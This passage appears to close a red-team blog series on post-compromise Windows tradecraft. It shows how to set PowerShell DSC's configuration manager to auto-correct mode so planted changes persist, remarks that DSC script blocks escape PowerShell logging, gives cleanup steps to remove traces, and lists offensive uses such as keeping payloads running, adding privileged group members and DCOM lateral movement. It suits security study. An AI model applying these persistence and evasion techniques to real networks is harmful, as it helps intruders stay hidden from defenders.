StatusRetentionTimeInDays      : 10
SignatureValidationPolicy      : NONE
SignatureValidations           : {}
MaximumDownloadSizeMB          : 500
PartialConfigurations          :
RebootNodeIfNeeded             : False
RefreshFrequencyMins           : 30
RefreshMode                    : PUSH
ReportManagers                 : {}
ResourceModuleManagers         : {}
PSComputerName                 :

Hmm. 'ApplyAndMonitor' huh...

Microsoft describes the modes here and the following would seem to be the important bit:

ApplyAndMonitor: This is the default value. The LCM applies any new configurations. After initial application of a new configuration, if the target node drifts from the desired state, DSC reports the discrepancy in logs. Note that DSC will attempt to apply the configuration until it is successful before ApplyAndMonitor takes effect.

Okay, so we're in the wrong mode. We want ApplyAndAutoCorrect instead.

To fix this, I need to create another Configuration, this time a 'meta' sort specifically for the LCM.

[DSCLocalConfigurationManager()]
configuration SetLCM {
    Node localhost {
        Settings {
            ConfigurationMode = 'ApplyandAutoCorrect'
        }
    }
}

I then proceed to perform the same steps as before, sourcing the script, calling the 'function' ('SetLCM' in this case) and pushing the MOF to the host. Once the file is on the remote host, I call a different cmdlet.

Set-DscLocalConfigurationManager C:\Users\Public\

Now, when we check the status...

PS C:\WINDOWS\system32> Get-DscLocalConfigurationManager


ActionAfterReboot              : ContinueConfiguration
AgentId                        : 4AAD49FA-35AF-11E9-A6B7-0AE1455F860C
AllowModuleOverWrite           : False
CertificateID                  :
ConfigurationDownloadManagers  : {}
ConfigurationID                :
ConfigurationMode              : ApplyAndAutoCorrect
ConfigurationModeFrequencyMins : 15
Credential                     :
DebugMode                      : {NONE}
DownloadManagerCustomData      :
DownloadManagerName            :
LCMCompatibleVersions          : {1.0, 2.0}
LCMState                       : Idle
LCMStateDetail                 :
LCMVersion                     : 2.0
StatusRetentionTimeInDays      : 10
SignatureValidationPolicy      : NONE
SignatureValidations           : {}
MaximumDownloadSizeMB          : 500
PartialConfigurations          :
RebootNodeIfNeeded             : False
RefreshFrequencyMins           : 30
RefreshMode                    : PUSH
ReportManagers                 : {}
ResourceModuleManagers         : {}
PSComputerName                 :

Much better. Now when the node's state drifts, the LCM will actually correct the drift.

As an aside, I found that the minimum accepted value for "ConfigurationModeFrequencyMins" was 15. Trying to push it lower just resulted in an error.

Logging

It's worth a quick note that the LCM does in fact log what it does. From the document here you can see some of the Windows Eventlog activity generated from the DSC engine, and some PowerShell that a blue team might use to try and narrow down on what you might have been doing. There is also a plethora of log files in 'C:\Windows\System32\Configuration\ConfigurationStatus'.

I will note though that, much like invoking PowerShell from wmic, PowerShell script blocks were not logged in Event Viewer. At least, I couldn't find them in the Microsoft/Windows/PowerShell/Operational log. The only thing I saw in the WMI-Activity log was the activation of the DSC engine itself, but nothing about what it was doing. The named "Desired State Configuration" log shows the LCM status and various events, but doesn't log any PowerShell used in the Configuration itself.

That is, obviously, pretty nice. Combined with embedding a payload directly in the PowerShell script to begin with, this is a nice way to stay off the radar. AMSI is still a factor though, that much I was able to confirm.

Cleanup

However you choose to operationalize this subsystem, the time will come when you must clean up after yourself. DSC provides the Remove-DscConfigurationDocument cmdlet. Despite the name, you don't tell it a 'document' to remove. Instead, you tell it to remove any configuration based on its current state. Your options are 'Current', 'Previous', and 'Pending'. If your config has been active for awhile, 'Current' will work, but you can also just shotgun it and pass all three at once.

You won't get any 'success' or whatever when you run this; it will just return normally. You can immediately follow up with Get-DscConfiguration though, and as you can see:

PS C:\WINDOWS\system32> Get-DscConfiguration
Get-DscConfiguration : Current configuration does not exist. Execute Start-DscConfiguration command with -Path
parameter to specify a configuration file and create a current configuration first.
At line:1 char:1
+ Get-DscConfiguration
+ ~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (MSFT_DSCLocalConfigurationManager:root/Microsoft/...gurationManager) [Get
   -DscConfiguration], CimException
    + FullyQualifiedErrorId : MI RESULT 1,Get-DscConfiguration

Depending on what you used DSC for, you might manually clean up libraries, executables, files, or other resources. Alternatively, you can let DSC do that for you too. Logically invert your config and make any edits and push out a new Configuration. Just remember to delete your Configuration afterwards.

Malicious uses

Have a look at the list of built-in Resources. Registry, check. Users, groups? Check. Services, Scripts, Files. Check and checked.

As you can see, there are many many ways to leverage DSC on a given host. Want to make sure your payload is always present and running? File and Process types. Want to add yourself to local privileged groups with some random domain user account? Groups has you covered. Register some sneaky COM object everywhere under the sun for DCOM lateral movement whenever you want? Yup, you can do that.

DSC is very flexible by design, and subverting it for offensive use is pretty straightforward and powerful. I don't have any data for how well instrumented it is by 3rd party SIEMs, or how well-known it is by system administrators. (If anyone does, please feel free to send me some anecdotes!) But my feeling, looking at the articles I was able to find, is that it's not well-known by blue team or red team. At least not out in public.

I hope this article, and this last section in particular, has served to show you what you can do once you've climbed to the top of the AD. AD is huge, Windows is enormous, and there is seemingly always a new thing to pick up. I wonder what else is out there waiting to be subverted by red...

Conclusion

If you've read to the end of all of the articles on this broad Post-OSCP topic, thank you. Even if you skipped to the end, thanks for clicking on the links in the first place. This isn't the true end of the Post-OSCP article train, as there are still some interesting things to cover, but there will be a break between this and the publishing of those articles. Until then, thanks for reading!

Acknowledgements

I couldn't have written all of this without the tireless work and research given freely by those in the infosec community. I've tried to cite them each time I link an article, but here in no particular order:

  • wald0
  • mattifestation
  • timmedin
  • subtee
  • gentilkiwi
  • danielhbohannon
  • ReL1K
  • rastamouse
  • xpn
  • rvrsh3ll
  • pyrotek3
  • CpnJesus
  • dirk-jan
  • harmj0y
  • cobbr
  • xorrior
  • hdmoore
  • sevargas
  • m0rv4i

Last but certainly not least, is @benpturner for the PoshC2 framework used extensively throughout this series. Accepting questions, bug reports, and nagging throughout, he was always ready to help.

And a second shout-out to @harmj0y and others for the PowerView project. While the leading edge of offensive tooling is moving on to C#, PowerView still provides a stout resource for investigating Active Directory.